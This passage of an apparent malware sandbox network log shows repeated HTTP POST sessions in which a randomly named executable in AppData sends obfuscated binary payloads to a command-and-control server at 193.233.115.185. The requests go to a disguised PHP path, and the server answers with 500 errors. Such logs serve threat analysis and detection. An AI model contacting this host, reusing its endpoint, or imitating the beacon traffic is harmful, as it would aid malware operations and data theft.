                                                            Jul 10, 2024 09:07:11.043637037 CEST2548OUTData Raw: 56 53 54 56 5f 5b 55 5b 59 59 51 58 52 5c 56 53 57 54 5d 59 5a 5d 55 5b 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VSTV_[U[YYQXR\VSWT]YZ]U[_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$,,."*%\ 2;_?X7S#0(=3 =$2]&<(/%#F".[ 4
                                                            Jul 10, 2024 09:07:11.376991034 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 37 3a 31 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:07:11 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            72192.168.2.449815193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:11.500761986 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:11.854975939 CEST2548OUTData Raw: 53 56 54 5d 5f 5d 55 59 59 59 51 58 52 59 56 5a 57 56 5d 5c 5a 59 55 5b 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SVT]_]UYYYQXRYVZWV]\ZYU[_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Z/*55]7/)>V"79$'>], >0V1;=<7+\/#F".[
                                                            Jul 10, 2024 09:07:12.166739941 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:12.170881033 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:12 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            73192.168.2.449816193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:12.295958996 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:12.651994944 CEST2548OUTData Raw: 56 5d 51 52 5a 5c 55 5d 59 59 51 58 52 59 56 54 57 53 5d 58 5a 59 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V]QRZ\U]YYQXRYVTWS]XZYU^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Y/"%^7++3S7'=[3 )8+"=U&;?'3/%#F".[
                                                            Jul 10, 2024 09:07:12.975080013 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:12.980134010 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:12 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            74192.168.2.449817193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:13.147109032 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:13.495677948 CEST2548OUTData Raw: 56 50 54 5d 5a 5b 50 5b 59 59 51 58 52 51 56 51 57 57 5d 5c 5a 50 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VPT]Z[P[YYQXRQVQWW]\ZPU^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',. 9]71']?X/"$>'7)]##?2!+0/5#F".[
                                                            Jul 10, 2024 09:07:14.003134966 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:14.003210068 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:13 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            75192.168.2.449818193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:14.123594999 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:14.480108976 CEST2548OUTData Raw: 53 50 51 51 5a 58 55 5b 59 59 51 58 52 5a 56 50 57 51 5d 5a 5a 5f 55 50 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SPQQZXU[YYQXRZVPWQ]ZZ_UP_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S';/5!&4#<>'S4$%0??)++#><W2]6G<7(/#F".[ ,


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            76192.168.2.449819193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:14.705029011 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1884
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:15.058216095 CEST1884OUTData Raw: 53 51 54 52 5f 58 55 5d 59 59 51 58 52 51 56 53 57 52 5d 59 5a 5b 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SQTR_XU]YYQXRQVSWR]YZ[UX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$];,-6:5#! +.#-[$=,". 2-+3^/#F".[
                                                            Jul 10, 2024 09:07:15.366060019 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:15.373857975 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:15 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            77192.168.2.449820193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:14.831041098 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2544
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:15.183028936 CEST2544OUTData Raw: 53 50 54 54 5a 5f 50 5c 59 59 51 58 52 58 56 50 57 5c 5d 58 5a 5a 55 5a 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SPTTZ_P\YYQXRXVPW\]XZZUZ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S';,S 9*""4+7-Y0;(;4=#28%+.%#F".[ (
                                                            Jul 10, 2024 09:07:15.499651909 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:15.503480911 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:15 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            78192.168.2.449821193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:16.342876911 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:16.698743105 CEST2548OUTData Raw: 53 57 54 52 5a 5e 55 5b 59 59 51 58 52 5b 56 54 57 52 5d 5f 5a 59 55 59 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWTRZ^U[YYQXR[VTWR]_ZYUY_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',5"%Y#"((#"':$, U((/]#=4%("(;Z;%#F".[ (
                                                            Jul 10, 2024 09:07:17.008097887 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:17.011682987 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:16 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            79192.168.2.449822193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:17.141077995 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:17.495707989 CEST2548OUTData Raw: 56 56 54 50 5f 58 50 5a 59 59 51 58 52 59 56 5a 57 56 5d 5c 5a 50 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VVTP_XPZYYQXRYVZWV]\ZPU__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'.?."95^4?>+W4)'<+);?"=U&()<$<,#F".[
                                                            Jul 10, 2024 09:07:17.821113110 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:17.824958086 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:17 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            80192.168.2.449823193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:17.950808048 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:18.308029890 CEST2548OUTData Raw: 56 56 54 52 5a 5f 55 5c 59 59 51 58 52 59 56 55 57 5d 5d 59 5a 5c 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VVTRZ_U\YYQXRYVUW]]YZ\U]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X/Z*6=Y42(+>;T7$6', T= #/%(&C+$'8#F".[
                                                            Jul 10, 2024 09:07:18.620613098 CEST1236OUTData Raw: 56 56 54 52 5a 5f 55 5c 59 59 51 58 52 59 56 55 57 5d 5d 59 5a 5c 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VVTRZ_U\YYQXRYVUW]]YZ\U]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X/Z*6=Y42(+>;T7$6', T= #/%(&C+$'8#F".[
                                                            Jul 10, 2024 09:07:18.656480074 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:18.657430887 CEST1312OUTData Raw: 05 38 1e 1b 3a 05 06 53 3e 38 21 06 3e 34 02 0e 36 23 5f 46 33 00 25 25 06 3f 54 1c 3a 32 2f 3d 06 04 1d 5d 30 2c 2f 39 07 3e 11 2c 36 0f 0f 32 3e 06 3c 30 33 3f 06 3b 03 2f 2c 14 29 32 16 03 3f 12 0a 5c 36 31 25 24 27 07 01 16 3d 38 0c 3c 27 28
                                                            Data Ascii: 8:S>8!>46#_F3%%?T:2/=]0,/9>,62><03?;/,)2?\61%$'=8<'(9.'#6/3-0;] 2"#9:0/]3UZ_8!.?8B04#>Q%?07[,X?>9#&) 3B+:(Y<:+GS981$8 (&W 64#2[ &%7021,)0]T3$_18(;[Y:03,-!)*'>
                                                            Jul 10, 2024 09:07:18.861370087 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:18 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            81192.168.2.449824193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:18.982933044 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:19.339497089 CEST2548OUTData Raw: 53 57 51 55 5f 5a 55 59 59 59 51 58 52 50 56 52 57 53 5d 59 5a 5a 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWQU_ZUYYYQXRPVRWS]YZZUX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'./1!_#7[+'U 7=Z3/4R>$"=$(!+]/#F".[
                                                            Jul 10, 2024 09:07:19.651763916 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:19.657056093 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:19 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            82192.168.2.449825193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:19.785541058 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:20.136214972 CEST2548OUTData Raw: 53 52 51 52 5f 59 50 5c 59 59 51 58 52 59 56 53 57 50 5d 5f 5a 5c 55 5c 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SRQR_YP\YYQXRYVSWP]_Z\U\_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',.6"""'[)., )Y&,V=+/7.0R$8>+?_,#F".[


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            83192.168.2.449826193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:20.392402887 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1884
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:20.745600939 CEST1884OUTData Raw: 56 57 54 53 5a 5e 50 5b 59 59 51 58 52 5e 56 51 57 52 5d 5b 5a 5f 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VWTSZ^P[YYQXR^VQWR][Z_U^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'.<>"4T4)-,#'&$Z;=8/Y7>0T15+#^8#F".[ <
                                                            Jul 10, 2024 09:07:21.068999052 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:21.074276924 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:20 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            84192.168.2.449827193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:20.512665033 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:20.870820045 CEST2548OUTData Raw: 56 57 54 5c 5a 58 55 5d 59 59 51 58 52 5b 56 54 57 50 5d 5a 5a 59 55 50 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VWT\ZXU]YYQXR[VTWP]ZZYUP_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S';&"1\ T +>/W4'!'U)(3 - &(5?7+;#F".[ (
                                                            Jul 10, 2024 09:07:21.201980114 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:21.204277992 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:21 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            85192.168.2.449828193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:21.329338074 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
